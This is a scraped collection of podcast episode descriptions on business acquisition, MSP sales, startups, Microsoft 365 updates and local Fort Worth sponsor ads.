About fall conferences: Southeast Entrepreneurship through Acquisition Conference2025 Buy Then Build SummitMcguireWoods Independent Sponsor ConferenceM &A Launchpad's Fall Show (use ACQUIRINGMINDS for a discount)Despite tight search criteria, Daniel Batista found a business that excited him. The eye-popping margins were a bonus.Topics in Daniel's interview:His experience in the film industryLaunching a Latino media brandSearching for a fun businessAcquiring an indoor playground LA demographics are perfect for this businessHigh initial installation costs but 50% EBITDA marginsCandeeland Kids' unique franchising structureSurprisingly low maintenance costsTeenage hourly laborAdding an arcade to his locationReferences and how to contact Daniel:LinkedInCandeeland Kids DowneyShell Zhang on Acquiring Minds: Awakening to Entrepreneurship to Buy a Not-Boring BusinessSam Rosati on Acquiring Minds: How to Shorten Your Search: Big 3, Little 2Work with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

Send us a textIn this action-packed episode, Joey Pinz sits down with cybersecurity veteran and ex-MSP operator Chris Loehr. From his early days as a two-footed soccer midfielder to leading Solis Security through complex ransomware response cases, Chris shares insights forged in both cleats and crisis. ⚽

***New Video Alert! Confused by some of the terms you come across? This week, I run down a list of the top 10 SMB deal making terms you need to understand to avoid bad deals. Even if you believe you're experienced, you may learn a thing or two in this week's video: https://youtu.be/xVU_HofGDys Cheers See you over on YouTube David C Barnett #businessbroker #bizbroker #businessbrokers #smallbusiness #mergersandacquisitions #smallbiz #buyabusiness #sellabusiness #M&A #terms #definition

Tiago Dalvi is the solo founder and CEO of Olist, Brazil's leading e-commerce operating system serving 45,000+ merchants and processing 60 billion reais annually. Olist has raised $314M from investors including SoftBank, Wellington Management, Goldman Sachs, Valor Capital Group, and Accel partner Kevin Efrusy, and operates in Brazil's $60B+ e-commerce market.The Brazilian unicorn founder discusses marketplace strategy, venture capital, M&A integration, and building Latin America's leading SMB commerce platform.Here's what we cover:From Marketplace to Ecosystem: Olist began as a single storefront. Today it's an operating system for 45,000+ merchants. What does it really take to expand from one product to a multi-product platform?The Three Pillars of a High-Performing Board: Behind every enduring company is a board built on the right foundation. What makes boards truly high-performing—and why do the best ones keep evolving?The M&A Integration Playbook: Acquisitions can accelerate growth—or sink the ship. Tiago shares the hardest lessons from integration, why protecting new acquisitions from the gravitational pull of core operations is critical for innovation, and why earnouts are so tricky to get right.Olist's Vision of Intelligent Commerce: What if your business could think for itself? Tiago explains how AI-powered decision-making could reshape SMB operations across Latin America's fragmented ecosystem.The Investor Breakup Playbook: Not every relationship lasts forever—including with investors. Why does Tiago part ways with board members he "really likes," what tough conversations are required when someone who got you to $10M isn't right for $100M, and how secondaries help recycle the cap table without burning bridges?Join The J Curve Community:⁠Newsletter⁠: Weekly deep dives into LATAM's hottest deals, emerging trends, and market intelligence⁠LinkedIn⁠: Daily market insights and exclusive founder updates⁠Instagram⁠: Behind-the-scenes podcast moments and quick industry takes⁠Hit subscribe⁠ and share this episode with fellow entrepreneurs and investors

About fall conferences: Southeast Entrepreneurship through Acquisition Conference2025 Buy Then Build SummitMcguireWoods Independent Sponsor ConferenceM &A Launchpad's Fall Show (use ACQUIRINGMINDS for a discount)Kyle Boyden & Jake Furfaro bought tiny cleaning companies, five times. While painful, it taught them ops & integration.Topics in Kyle and Jake's interview:Leaving a “cushy sales job” to buy a businessDoing no due diligence on the first acquisitionCons of property managementTrading property management for janitorialBuying very small cleaning businessesLosing faith in SBA loan underwritersEducating sellers about valuationSeller financing on all 7 dealsSupport from previous ownersNo more acquisitions for nowReferences and how to contact Kyle and Jake:Kyle Boyden LinkedInRainier Cleaning SolutionsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

SummaryIn this week's episode of Startup Junkies, hosts Daniel Koonce, Caleb Talley, and Jeff Amerine are joined by Steve Toth, CEO of Crestline Leaders, a company helping high-capacity leaders move their enterprises forward. Steve's entrepreneurial journey is as hands-on as it gets. He chronicled his early days rebuilding Volkswagen motors before discussing his role in co-founding Tango Press, a corrugated packaging startup that he grew and successfully exited.One standout insight was Steve's emphasis on integrating people and culture strategies from the beginning. He argues that no business can thrive or be successfully exited unless it's built on trust, documented systems, and well-defined accountability. Steve explains how risk management, strategy, and a focus on enterprise value need to be front and center, no matter your stage of growth. Additionally, he shared advice for entrepreneurs: think about succession and exit from day one. If your business cannot thrive without you, then there's work to be done. For anyone building a business with an eye toward value creation and longevity, Steve's blend of practical, people-first advice and battlefield-tested experience makes this episode a must-listen!Show Notes(00:00) Introduction(04:27) Building Transferable Business Value(12:06) A Prioritized Risk Management Approach(18:00) The Importance of Enterprise Value in Exiting(25:33) Utilizing a Hands-On Leadership Transition(30:00) Rethinking Work-Life Balance(38:01) Focusing on a Growth Mindset(40:36) Closing ThoughtsLinksDaniel KoonceCaleb TalleyJeff AmerineStartup JunkieStartup Junkie YouTubeSteve TothCrestline Leaders

I see ads all the time claiming that "building rapport" is a lie and you need to learn how to sell without it - but these so-called experts are completely missing the point. In this video, I break down the massive misunderstanding around what rapport actually is in sales. It's not about small talk, weather conversations, or chatting about family photos on someone's desk - that's just likability, not rapport. Real rapport is about establishing trust, credibility, and demonstrating that you have the expertise to solve their problems. I'll show you how to build genuine rapport by showing up prepared, asking targeted questions that prove you understand their business and industry, and positioning yourself as a credible expert who can actually deliver results.If you're in MSP sales and tired of the surface-level rapport advice, this video will set the record straight on what rapport really means and how to build it the right way.//Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

About Jen Lehner: Here's the deal: AI is the ultimate business cheat code—when you know how to use it with intention. But most of what's out there either talks down to you or overwhelms you with jargon and “prompt packs” you'll never touch.I'm not here for that.I'm here to help coaches, consultants, and SMB'S stop spinning their wheels and start building systems that scale, powered by AI + smart human strategy.Because here's what I know:When AI handles the mechanical, humans handle the meaningfulYou don't need to become a coder or prompt engineer.You do need to understand how to use AI in your business and in your life.Through step-by-step training, templates, and live strategy calls inside Front Row AI Club, I make AI feel less like a sci-fi mystery and more like your business's secret weapon.It's not just about going viral or chasing shiny tools. It's about building a business that feels lighter, more aligned, and way more fun.Connect with Jen here: www.jenlehner.comDon't forget to take our free business assessment here:https://www.magpaiassessments.com/4117/0

Register for the webinar:Overcoming Common Deal Sticking Points - Thu Aug 21st - https://bit.ly/4oB4zAkBryan Houck was fatigued of his search and broken deal costs when he finally closed on an award-winning creative agency.Topics in Bryan's interview:Losing everything in a startup at 41Discovering his personal talentsUsing a buy-side advisorUps and downs of searchImportance of meeting the ownerBuying an in-person creative agencyThe “Superbowl winning” team at Extra Credit ProjectsTalking to clients about priceBuying a business at 58The “Stoopid Framework” he inventedReferences and how to contact Bryan:LinkedInExtra Credit ProjectsThe E-Myth Revisited by Michael GerberGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

In this episode of the CIAOPS "Need to Know" podcast, we dive into the latest updates across Microsoft 365, GitHub Copilot, and SMB-focused strategies for scaling IT services. From new Teams features to deep dives into DLP alerts and co-partnering models for MSPs, this episode is packed with insights for IT professionals and small business tech leaders looking to stay ahead of the curve. I also take a look at building an agent to help you work with frameworks like the ASD Blueprint for Secure Cloud. Resources CIAOPS Need to Know podcast - CIAOPS - Need to Know podcasts | CIAOPS X - https://www.twitter.com/directorcia Join my Teams shared channel - Join my Teams Shared Channel – CIAOPS CIAOPS Merch store - CIAOPS Become a CIAOPS Patron - CIAOPS Patron CIAOPS Blog - CIAOPS – Information about SharePoint, Microsoft 365, Azure, Mobility and Productivity from the Computer Information Agency CIAOPS Brief - CIA Brief – CIAOPS CIAOPS Labs - CIAOPS Labs – The Special Activities Division of the CIAOPS Support CIAOPS - https://ko-fi.com/ciaops Get your M365 questions answered via email   Microsoft 365 & GitHub Copilot Updates GPT-5 in Microsoft 365 Copilot: https://www.microsoft.com/en-us/microsoft-365/blog/2025/08/07/available-today-gpt-5-in-microsoft-365-copilot/ GPT-5 Public Preview for GitHub Copilot: https://github.blog/changelog/2025-08-07-openai-gpt-5-is-now-in-public-preview-for-github-copilot/ Microsoft Teams & UX Enhancements   Mic Volume Indicator in Teams: https://techcommunity.microsoft.com/blog/Microsoft365InsiderBlog/new-microphone-volume-indicator-in-teams/4442879 Pull Print in Universal Print: https://techcommunity.microsoft.com/blog/windows-itpro-blog/pull-print-is-now-available-in-universal-print/4441608 Audio Overview in Word via Copilot: https://techcommunity.microsoft.com/blog/Microsoft365InsiderBlog/listen-to-an-audio-overview-of-a-document-with-microsoft-365-copilot-in-word/4439362 Hidden OneDrive Features: https://techcommunity.microsoft.com/blog/microsoft365insiderblog/get-the-most-out-of-onedrive-with-these-little-known-features/4435197 SharePoint Header/Footer Enhancements: https://techcommunity.microsoft.com/blog/spblog/introducing-new-sharepoint-site-header--footer-enhancements/4444261 Security & Compliance DLP Alerts Deep Dive (Part 1 & 2): https://techcommunity.microsoft.com/blog/microsoft-security-blog/deep-dive-dlp-incidents-alerts--events---part-1/4443691   https://techcommunity.microsoft.com/blog/microsoft-security-blog/deep-dive-dlp-incidents-alerts--events---part-2/4443700 Security Exposure Management Ninja Training: https://techcommunity.microsoft.com/blog/securityexposuremanagement/microsoft-security-exposure-management-ninja-training/4444285 Microsoft Entra Internet Access & Shadow AI Protection: https://techcommunity.microsoft.com/blog/microsoft-entra-blog/uncover-shadow-ai-block-threats-and-protect-data-with-microsoft-entra-internet-a/4440787   ASD Blueprint for Secure Cloud - https://blueprint.asd.gov.au/  

Register for the webinar:Overcoming Common Deal Sticking Points - Thu Aug 21st - https://bit.ly/3UrzG3FJeff Horn left a lucrative path to buy a $5m copier sales and service firm. 5 years later he exited for a great return.Topics in Jeff's interview:Feeling a calling to leadLeaving a high-paying job to searchYou have to check the character boxAcquiring a Xerox dealershipSpending the first 90 days building relationships3 buckets of growthLearning to rely on great employeesChallenges of scalingGrowing revenue from $5m to $30mExiting and becoming an investorReferences and how to contact Jeff:LinkedInMasked Rider CapitalJD Hasley on Acquiring Minds: How to Grow Revenue 50% in Year 1Download the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

Agentic AI is transitioning from demonstration to real-world application, particularly through the Model Context Protocol (MCP), which transforms traditional RMM and PSA systems into more interactive and efficient tools. This shift is expected to significantly impact ticket management, service level agreements (SLAs), and profit margins for managed service providers (MSPs). The discussion also delves into the competitive landscape, with companies like PAX 8 positioning themselves as orchestration layers in this evolving market, raising questions about whether this represents a genuine transformation or merely a rebranding effort.Rich Freeman, a prominent voice in the SMB channel, shares insights on how MSPs are adapting to these changes. He highlights that many organizations are already deploying AI solutions, which are automating tasks traditionally performed by humans, such as service dispatch and help desk operations. This evolution is not just about reducing workforce size but rather reshaping the roles within MSPs, allowing employees to focus on higher-level tasks that drive customer value and differentiation.The conversation also touches on the implications of MCP, which allows AI agents to interact with various backend systems seamlessly. This capability could lead to a future where technicians no longer need to navigate complex interfaces, as they can simply communicate with AI to manage their systems. The rapid advancements in AI technology are prompting MSPs to rethink their operational strategies and prepare for a future where automation plays a central role in service delivery.Finally, the discussion explores the concept of managed intelligence providers, emphasizing the need for MSPs to evolve from merely providing tools to delivering comprehensive solutions that leverage AI for better outcomes. As the industry shifts towards this model, the role of marketplaces and distributors will also change, requiring them to support MSPs in integrating and managing these advanced technologies. The conversation concludes with a recognition of the urgency for MSPs to adapt to these changes or risk falling behind in a competitive landscape. All our Sponsors: https://businessof.tech/sponsors/ Do you want the show on your podcast app or the written versions of the stories? Subscribe to the Business of Tech: https://www.businessof.tech/subscribe/Looking for a link from the stories? The entire script of the show, with links to articles, are posted in each story on https://www.businessof.tech/ Support the show on Patreon: https://patreon.com/mspradio/ Want to be a guest on Business of Tech: Daily 10-Minute IT Services Insights? Send Dave Sobel a message on PodMatch, here: https://www.podmatch.com/hostdetailpreview/businessoftech Want our stuff? Cool Merch? Wear “Why Do We Care?” - Visit https://mspradio.myspreadshop.com Follow us on:LinkedIn: https://www.linkedin.com/company/28908079/YouTube: https://youtube.com/mspradio/Facebook: https://www.facebook.com/mspradionews/Instagram: https://www.instagram.com/mspradio/TikTok: https://www.tiktok.com/@businessoftechBluesky: https://bsky.app/profile/businessof.tech

I inherited a commission-only sales team at the US Chamber of Commerce and had to shut down the entire division 18 months later. In this video, I'm sharing why commission-only structures actually sabotage sales teams and can ruin your business culture. Most business owners think commission-only means hungrier, more driven reps, but that's not necessarily true. I'll break down the two major problems I've experienced with commission-only structures: how they drive away top talent who see them as red flags, and how they attract mercenaries who only care about one thing - their commission. If you're an MSP owner considering your sales compensation strategy, this is a cautionary tale you need to hear. I'll show you why sharing the risk with your sales team through a base salary plus commission structure will help you attract professionals who want to be part of your team and contribute to a strong sales culture.//Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

Smithlist is a job board for leadership roles at small businesses. If you're not ready to buy a business but want to lead one:Smithlist - Operate & Lead a BusinessAfter success as a traditional searcher, Eric Calderon started building an industry-focused holding company in 2020.Topics in Eric's interview:Accepting investment from Rick and RoyceAcquiring through traditional searchCommitment to community banksUps and downs of the oil and gas industry“You gotta tell your story to anyone who's listening”Emotional challenges of downsizingShared services vs. decentralizationRecruiting patient capital for a long-term holdWhy $1m SDE is the target size for holdco acquisitionsEvolving from operator to investorReferences and how to contact Eric:LinkedInTXE CapitalRick & Royce on Acquiring Minds: The 2 Professors Who Helped Start the ETA MovementReid PennebakerETA Circle - HoustonGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

Small business owners rely on digital tools to run their businesses, but how does their banking experience measure up? In this episode, hear real-world stories from business owners with diverse needs as they describe their experiences and challenges, and hear from financial institutions that are taking these needs to heart. Related Links [Blog] Small Business Tools, Tactics, and Transformation https://hub.q2.com/resources/col/pf/small-business-tools-tactics-and-transformation?pflpid=61254&pfsid=62E2iBv4Jj [On-Demand Webinar] Why and How to Become the Business Hub for Your SMB Customers https://hub.q2.com/resources/col/pf/why-and-how-to-become-the-business-hub-for-your-smb-customers-2?pflpid=61254&pfsid=62E2iBv4Jj [LinkedIn] Ben Cash https://www.linkedin.com/in/ben-cash-03312292/ [LinkedIn] Katrina Leach https://www.linkedin.com/in/katrinaleachufcu/ [LinkedIn] Shon Cass https://www.linkedin.com/in/scasstsb/ [LinkedIn] Thomas Eorgan https://www.linkedin.com/in/thomaseorgan/

Smithlist is a job board for leadership roles at small businesses. If you're not ready to buy a business but want to lead one:Smithlist - Operate & Lead a BusinessWhen Luis Reyes bought a small fire safety business, he saw an opportunity. 24 acquisitions later, he's at $8m EBITDA.Topics in Luis's interview:Luis's early careerLaunching a roll-up strategy in SpainIdentifying consolidation opportunitiesFirst acquisitions in poultry distribution and fire safetyBuilding and leading a team for a high-velocity, high-volume roll-upIntegrating operational-complex businesses at scaleLeveraging AI in fire safetySpain's capital marketsAdapting acquisition criteriaGoal for the platformReferences and how to contact Luis:LinkedInIBVMinds Capital PodcastGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

Send us a textIf you've ever wondered how to raise millions without sounding like a sleazy salesman, then this is a conversation that'll change everything you know about investor psychology. All this and more coming right now.Subscribe on YouTube:https://www.youtube.com/channel/UCTOe79EXLDsROQ0z3YLnu1QQConnect with Ryan Miller:Linkedin: https://www.linkedin.com/in/rcmiller1/Instagram: https://www.instagram.com/makingbillionspodcast/Twitter: https://twitter.com/_MakingBillonsWebsite: https://making-billions.com/[THE GUEST]: Travis Jamison evolved from serial founder to full-time capital allocator, focusing on "boring businesses" – profitable, cash-flowing companies in unsexy niches that deliver less speculative returns. Through CapitalPad, he opens up the SMB asset class to other entrepreneurial investors.[THE HOST]: Ryan Miller is an Angel investor, former VP of Finance, CFO of an insurance company, and the founder of Fund Raise Capital,  https://www.fundraisecapital.co where his strategies helped emerging fund managers and deal syndicators to report raising over $1B following his strategies.Support the showDISCLAIMER: The information in every podcast episode “episode” is provided for general informational purposes only and may not reflect the current law in your jurisdiction. By listening or viewing our episodes, you understand that no information contained in the episodes should be construed as legal or financial advice from the individual author, hosts, or guests, nor is it intended to be a substitute for legal, financial, or tax counsel on any subject matter. No listener of the episodes should act or refrain from acting on the basis of any information included in, or accessible through, the episodes without seeking the appropriate legal or other professional advice on the particular facts and circumstances at issue from a lawyer, finance, tax, or other licensed person in the recipient's state, country, or other appropriate licensing jurisdiction. No part of the show, its guests, host, content, or otherwise should be considered a solicitation for investment in any way. All views expressed in any way by guests are their own opinions and do not necessarily reflect the opinions of the show or its host(s). The host and/or its guests may own some of the assets discussed in this or other episodes, including compensation for advertisements, sponsorships, and/or endorsements. This show is for entertainment purposes only and should not be used as financial, tax, legal, or any advice whatsoever.

SummaryIn this week's episode of Startup Junkies, the team welcomes Keiji Tsuchiya, founder of CaminoSake, for a fascinating conversation about bringing Japanese craft sake and its rich culture to new audiences in Northwest Arkansas and beyond.Keiji's journey is anything but ordinary. With roots in Kobe, Japan, and a background spanning venture capital and the foodtech sector, he has a unique vision of supporting small Japanese brewers and local specialty sake shops by expanding their reach into global markets. His story intertwines entrepreneurial grit with a passion for sharing sake's true essence, not just as an alcoholic drink, but as a mindful, enjoyable experience.Listeners get a taste of Keiji's philosophy as he discusses the traditional art of sake, the nuances of hot sake preparation, and innovative food pairings that break cultural boundaries, think Arkansas fried chicken or spicy Moroccan tagine with sake! Keiji's collaborations with local chefs, Brightwater Culinary School, and Arkansas' own Origami Sake brewery highlight his drive to foster community and cross-cultural culinary adventures.Bootstrapping his venture, Keiji offers honest insight into the challenges and joys of entrepreneurship, advocating for enjoying each moment and learning along the way. For food lovers, sake enthusiasts, and aspiring entrepreneurs, this episode delivers inspiration and practical wisdom. Keiji reminds us that every meal and every venture can be a little happier, one mindful sip at a time!Show Notes(00:00) Introduction(05:59) Improving Hot Sake Quality Education(08:44) Keiji's Role in Sake Brewing(11:47) Cross-Cultural Culinary Ventures(14:59) Bootstrapping Challenges and Strategies(16:45) Expanding Japanese Sake Globally(21:39) Closing ThoughtsLinksDaniel KoonceCaleb TalleyStartup JunkieStartup Junkie YouTubeKeiji TsuchiyaCaminoSake

We sit down again with our friend Kayley Ryan! This was a great recording with an incredible audience. Kayley, it was an honor to record with you again!Find our friend on Instagram as @kayleyryanmelodies.  ****NEW SINGLE "I've Had My Fill" out August 22nd***** Peterson's Landscape  (817-739-8413)Welcome to Peterson's Landscape, Dallas/Fort Worth's premier landscape company. For over 35 years, Peterson's Landscape has been providing residential and commercial property owners in the DFW area with the finest in landscape services. From landscape design and installation to regularly scheduled lawn maintenance services, our expert staff provides the knowledge and experience to help you with your outdoor needs Purple Web Consultingwww.purplewebconsulting.comWebsite design and hosting, E-commerce integration, digital strategy and consulting.817.629.6069Making modern business tools accessible to the small business owner so that they can compete with the big dogs! Fort Worth Float CompanyIs your day filled with noise and distractions? Overstimulating sounds and activity? Our daily lives have become overwhelmed with tasks and responsibilities, with very few ways to shut off the world for a brief moment. WELCOME TO FORT WORTH FLOAT COMPANY. They specialize in providing sensory deprivation flotation tanks, providing the ultimate relaxation experience. Offering various pricing and packages, and three different tanks, Fort Worth Float Company meets everyone's floating needs. Hoppin (Fort Worth)Weisenberger St, Fort Worth TX 76107No more waiting for the bar tender. Simply walk up to the wall of taps, scan your arm band, and enjoy!!! This place charges you by the ounce. A great place to unwind or for your next big event. Find them on Instagram as @hoppinfwtx.Have a Fort Worth Event coming up this week? Call during our recording window and let us share it with the city. 817.988.1292. The Davis TeamLook no further than our friends at The Davis Team for all of your property needs. No commitment necessary. If you have questions about property then visit them online : yourdavisteam.com or give them a call 817.755.0504   Galaxy Wilderness Disc Golf  Galaxy Wilderness is dedicated to promoting Disc Golf to the masses for its health benefits through outdoor therapy, exercise, and camaraderie.Find them on Facebook as Galaxy Wilderness Disc GolfGalaxyWildernessDG@gmail.com(682) 228-0399 The Body Scrubberyon Instagram @thebodyscrubberyOnline at www.thebodyscrubbery.comPhone:925.808.8222A boutique and unique spa experience. "Don't cheat yourself, treat yourself!!" Luxury foot spa, full body scrubs, infrared heat wraps, massage, bubble tub, mud wraps, facials, couples packages, and small group parties.   Eaton Data SolutionsWe work to have relationships with vendor partners who specialize in different methods of vulnerability detection and management so that we can offer enterprise tools and solutions to small and medium sized companies (SMB's).Find them online www.eatondatasolutions.com Roofing Solutions by Darren Houk!Roofing Solutions can help with all your residential and commercial roofing needs. Roofing Solutions by Darren Houk islocally owned and operated. We are insured and have the experience to carry out most roofing projects.Web Page: https://www.roofingsolutionshouk.com/Phone : 817-882-6520 McFly's Pub6104 LTjg Barnett Rd, Fort Worth, TX 76114 · 4.1 miA BADASS little 1980's/ Back to the Future themed bar with an excellent outdoor patio complete with fire pit and room for your fur baby. Daily drink specials and fun activities almost every day of the week. See whats new at McFly's on their Instagram page @McFlysPub. Tres Amigos Tacos and Tequilatresamigostacosandtequila.comChef Sandy brings a fresh perspective and culinary expertise to Tres Amigos, continuing the spirit of female led entrepreneurship and the culinary excellence that Chef Paul was known for.909 W Magnolia Ave, Fort Worth, TX 76104 Cloudland Recording Studiowww.cloudlandrecordingstudio.comCloudland Recording Studio is an analog and digital recording studio located in the heart of Fort Worth, Texas. We are just one mile from downtown and five minutes from the Near Southside entertainment district of Magnolia Avenue.

Ladies and Gentlemen, Keegan Mcinroe! Find our friend on Instagram as Keeganmcinroemusic . Find the festival at fwsongwriterfestival.Peterson's Landscape  (817-739-8413)Welcome to Peterson's Landscape, Dallas/Fort Worth's premier landscape company. For over 35 years, Peterson's Landscape has been providing residential and commercial property owners in the DFW area with the finest in landscape services. From landscape design and installation to regularly scheduled lawn maintenance services, our expert staff provides the knowledge and experience to help you with your outdoor needs Purple Web Consultingwww.purplewebconsulting.comWebsite design and hosting, E-commerce integration, digital strategy and consulting.817.629.6069Making modern business tools accessible to the small business owner so that they can compete with the big dogs! Fort Worth Float CompanyIs your day filled with noise and distractions? Overstimulating sounds and activity? Our daily lives have become overwhelmed with tasks and responsibilities, with very few ways to shut off the world for a brief moment. WELCOME TO FORT WORTH FLOAT COMPANY. They specialize in providing sensory deprivation flotation tanks, providing the ultimate relaxation experience. Offering various pricing and packages, and three different tanks, Fort Worth Float Company meets everyone's floating needs. Hoppin (Fort Worth)Weisenberger St, Fort Worth TX 76107No more waiting for the bar tender. Simply walk up to the wall of taps, scan your arm band, and enjoy!!! This place charges you by the ounce. A great place to unwind or for your next big event. Find them on Instagram as @hoppinfwtx.Have a Fort Worth Event coming up this week? Call during our recording window and let us share it with the city. 817.988.1292. The Davis TeamLook no further than our friends at The Davis Team for all of your property needs. No commitment necessary. If you have questions about property then visit them online : yourdavisteam.com or give them a call 817.755.0504   Galaxy Wilderness Disc Golf  Galaxy Wilderness is dedicated to promoting Disc Golf to the masses for its health benefits through outdoor therapy, exercise, and camaraderie.Find them on Facebook as Galaxy Wilderness Disc GolfGalaxyWildernessDG@gmail.com(682) 228-0399 The Body Scrubberyon Instagram @thebodyscrubberyOnline at www.thebodyscrubbery.comPhone:925.808.8222A boutique and unique spa experience. "Don't cheat yourself, treat yourself!!" Luxury foot spa, full body scrubs, infrared heat wraps, massage, bubble tub, mud wraps, facials, couples packages, and small group parties.   Eaton Data SolutionsWe work to have relationships with vendor partners who specialize in different methods of vulnerability detection and management so that we can offer enterprise tools and solutions to small and medium sized companies (SMB's).Find them online www.eatondatasolutions.com Roofing Solutions by Darren Houk!Roofing Solutions can help with all your residential and commercial roofing needs. Roofing Solutions by Darren Houk islocally owned and operated. We are insured and have the experience to carry out most roofing projects.Web Page: https://www.roofingsolutionshouk.com/Phone : 817-882-6520 McFly's Pub6104 LTjg Barnett Rd, Fort Worth, TX 76114 · 4.1 miA BADASS little 1980's/ Back to the Future themed bar with an excellent outdoor patio complete with fire pit and room for your fur baby. Daily drink specials and fun activities almost every day of the week. See whats new at McFly's on their Instagram page @McFlysPub. Tres Amigos Tacos and Tequilatresamigostacosandtequila.comChef Sandy brings a fresh perspective and culinary expertise to Tres Amigos, continuing the spirit of female led entrepreneurship and the culinary excellence that Chef Paul was known for.909 W Magnolia Ave, Fort Worth, TX 76104 Cloudland Recording Studiowww.cloudlandrecordingstudio.comCloudland Recording Studio is an analog and digital recording studio located in the heart of Fort Worth, Texas. We are just one mile from downtown and five minutes from the Near Southside entertainment district of Magnolia Avenue.

Register for the webinar:The "Plant Your Flag" Strategy: Build an Empire with ETA + Franchising - TODAY - https://bit.ly/3UH3w45After years of corporate success, Jesus Wong yearned for something else. When he discovered ETA, he knew he'd found it.Topics in Jesus's interview:Childhood in Mexico and CanadaFamily history of entrepreneurshipBuying a Canadian garment repair businessLow capex, high labor costsStructuring his deal without the SBAMitigating the risk of high customer concentrationValue of a high-quality deal teamHigher closing costs in CanadaPaying 5% interest on his loanAnswering the call of entrepreneurshipReferences and how to contact Jesus:LinkedInGear re-StoreVail ResortsPatagoniaScott Walton on Acquiring Minds: Building a $10m Platform from 2 Low-SDE BusinessesAndrew Stordeur on Acquiring Minds: $700k EBITDA with No SBA, No Money DownYan Vinarskiy on Acquiring Minds: From Searcher to Sponsor: How to Buy a $22m BusinessMarc Nzojibwami on Acquiring Minds: The Model for a 3-Way, Long-Term HoldcoHaifeng Hu of Bennett JonesKevin Yu of MNPJoey Tai of Crete CapitalLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

In this episode, a former top-ranked commercial truck sales rep, Sean Lyden of Systematic Selling, breaks down what actually works in freight sales!  We talk about the 90-day rule in B2B, how to reframe cold calls as shopping for customers, and why your Ideal Customer Profile isn't just about who to target, but also who to avoid. Sean also shares his dial-based prospecting strategy, KPI tracking tips, and why consistency beats intensity every time! If you're a freight broker, carrier representative, or logistics founder, this is the kind of tactical strategy that can immediately shift your sales game. Want better conversions and a stronger pipeline? Tune in and start doing the work!   About Sean Lyden Sean is the founder and CEO of Systematic Selling, where they help SMB owners and their sales teams in the service trades scale their sales (without the chaos). Sean is a former U.S. Top 25 medium-duty truck sales rep (GMC, Chevrolet, Isuzu brands), has been in sales for 28 years, has handled over 1,200 coaching sessions for founders, owners, and their sales teams, and the co-author of Collaboration Effect on Profit: Overcoming Founder's Syndrome to Achieve Sustainable Success (2024).   Connect with Sean LinkedIn: https://www.linkedin.com/in/seanlyden/ Newsletter: https://www.systematicselling.co/  

